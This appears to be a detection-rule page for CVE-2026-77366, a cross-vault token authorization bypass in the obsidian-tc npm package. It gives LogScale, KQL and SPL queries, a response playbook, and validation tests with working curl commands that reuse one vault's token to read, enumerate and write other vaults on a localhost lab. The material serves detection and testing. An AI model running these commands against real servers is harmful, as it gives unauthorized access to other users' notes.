Detect obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366) in CrowdStrike LogScale
Detects exploitation of CVE-2026-77366, an IDOR/broken-object-level-authorization flaw (CWE-639, CWE-863) in the npm package obsidian-tc prior to version 1.3.1. A valid token issued for one configured Obsidian vault can be reused to read or write any other vault configured on the same obsidian-tc server, because the authorization layer validates only that a token is valid and not that it is scoped to the requested vault. Exploitation appears as a single token/session accessing vault identifiers it was not provisioned for, often enumerating multiple vault paths in rapid succession. Upgrade obsidian-tc to >= 1.3.1 to remediate.
MITRE ATT&CK
- Tactic
- Initial Access Collection
LogScale Detection Query
#repo=obsidian_tc
| url_path = /\/vault\//
| groupBy([token_id], function=[collect([vault_id]), count(as=requests)])
| distinct_vaults := count(vault_id, distinct=true)
| distinct_vaults > 1 Groups obsidian-tc access events by token and alerts when the token references more than one distinct vault_id.
Data Sources
Required Tables
False Positives & Tuning
- Admin tokens authorized across multiple vaults.
- Backup/sync accounts enumerating vaults.
- Field parsing errors producing spurious vault_id values.
Other platforms for CVE-2026-77366
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Reuse obsidian-tc token across two vaults
Expected signal: Two obsidian-tc access log entries sharing one token_id but referencing vault_id vaultA and vaultB.
- Test 2 Enumerate configured vaults with one token
Expected signal: Multiple obsidian-tc access entries from one token_id referencing four distinct vault_id values in quick succession.
- Test 3 Cross-vault write attempt
Expected signal: obsidian-tc log entry: token_id scoped to vaultA performing a write to vaultB.
References (6)
- https://github.com/The-40-Thieves/obsidian-tc/security/advisories/GHSA-84c9-qqpq-2pq5
- https://github.com/The-40-Thieves/obsidian-tc/pull/72
- https://github.com/The-40-Thieves/obsidian-tc/commit/38b4992e87dc2715564236e1a42d005ab05a0194
- https://github.com/The-40-Thieves/obsidian-tc/releases/tag/v1.3.1
- https://nvd.nist.gov/vuln/detail/cve-2026-77366
- https://github.com/advisories/GHSA-84c9-qqpq-2pq5
Response Playbook
Triage
- Identify the flagged token_id and resolve which vault it was originally provisioned for versus the vaults it actually accessed.
- Confirm the obsidian-tc version in use; if < 1.3.1 the instance is vulnerable to CVE-2026-77366 and cross-vault access is likely malicious rather than authorized.
- Review the sequence and timing of vault accesses for the token — rapid enumeration of many vault IDs indicates automated exploitation.
- Correlate the source IP(s) and user-agent of the token's requests against the legitimate owner's known access patterns.
Containment
- Revoke the implicated token/session immediately and force re-authentication for the affected principal.
- Restrict obsidian-tc network exposure (firewall/reverse-proxy allowlist) and upgrade to obsidian-tc >= 1.3.1, which enforces per-vault token scoping.
- If upgrade cannot be immediate, disable multi-vault configuration or isolate each vault behind separate obsidian-tc instances.
Evidence Collection
- Preserve obsidian-tc access logs showing the token, accessed vault IDs, timestamps, source IPs and user-agents.
- Capture the obsidian-tc configuration enumerating all configured vaults and their intended token scopes.
- Snapshot the contents/modification timestamps of any vault the token accessed out-of-scope to assess data exposure or tampering.
Escalation Criteria
- !Escalate to incident response if the token accessed vaults containing sensitive or regulated data belonging to other tenants/users.
- !Escalate if write/modification operations (not just reads) were performed against out-of-scope vaults.
- !Escalate if multiple distinct tokens or external source IPs exhibit the same cross-vault pattern, indicating broad exploitation.
Investigation Guide
Forensic Artifacts
- >
obsidian-tc access and authorization logs containing token_id-to-vault_id mappings. - >
obsidian-tc configuration file listing configured vaults and token scopes. - >
Reverse-proxy/API-gateway logs recording request paths, source IPs and user-agents.
Tuning Guidance
Build an allowlist of token_ids/principals legitimately scoped to multiple vaults (admins, sync/backup services) and exclude them from the alert. Tune the correlation window (default 10m) and the distinct-vault threshold to match your environment's normal access cadence; in strict single-tenant deployments any value > 1 should alert, while shared deployments may warrant a higher threshold plus source-IP/user-agent anomaly correlation.
Hunting Queries
Baseline hunt for any obsidian-tc token historically spanning more than one vault, to find prior undetected exploitation.
ObsidianTCLogs_CL | where RequestPath_s has "/vault/" | summarize Vaults=make_set(VaultId_s,100), n=dcount(VaultId_s) by TokenId_s | where n > 1 index=obsidian_tc sourcetype=obsidian:tc:access uri_path="*/vault/*" | stats dc(vault_id) AS n values(vault_id) AS vaults by token_id | where n>1 Atomic Red Team Tests
Obtain a token scoped to vault A and replay it against vault B to confirm cross-vault authorization bypass on a vulnerable (<1.3.1) instance.
Command
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultA/notes; curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultB/notes Cleanup
unset TOKEN Expected Telemetry
Two obsidian-tc access log entries sharing one token_id but referencing vault_id vaultA and vaultB.
Expected Detection
Rule fires: single token accessed more than one distinct vault_id within the window.
Iterate a list of candidate vault IDs using a single token to enumerate accessible vaults, simulating automated exploitation.
Command
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); for V in vaultA vaultB vaultC vaultD; do curl -s -o /dev/null -w "$V %{http_code}\n" -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/$V/notes; done Cleanup
unset TOKEN Expected Telemetry
Multiple obsidian-tc access entries from one token_id referencing four distinct vault_id values in quick succession.
Expected Detection
Rule fires on high distinct-vault count for a single token.
Use a vault-A token to write a note into vault B, testing whether the bypass permits modification and not just read.
Command
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); curl -s -X PUT -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"path":"poc.md","content":"cve-2026-77366"}' http://localhost:3000/api/vault/vaultB/notes Cleanup
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultB/notes/poc.md; unset TOKEN Expected Telemetry
obsidian-tc log entry: token_id scoped to vaultA performing a write to vaultB.
Expected Detection
Rule fires; token referenced an out-of-scope vault_id with a write method.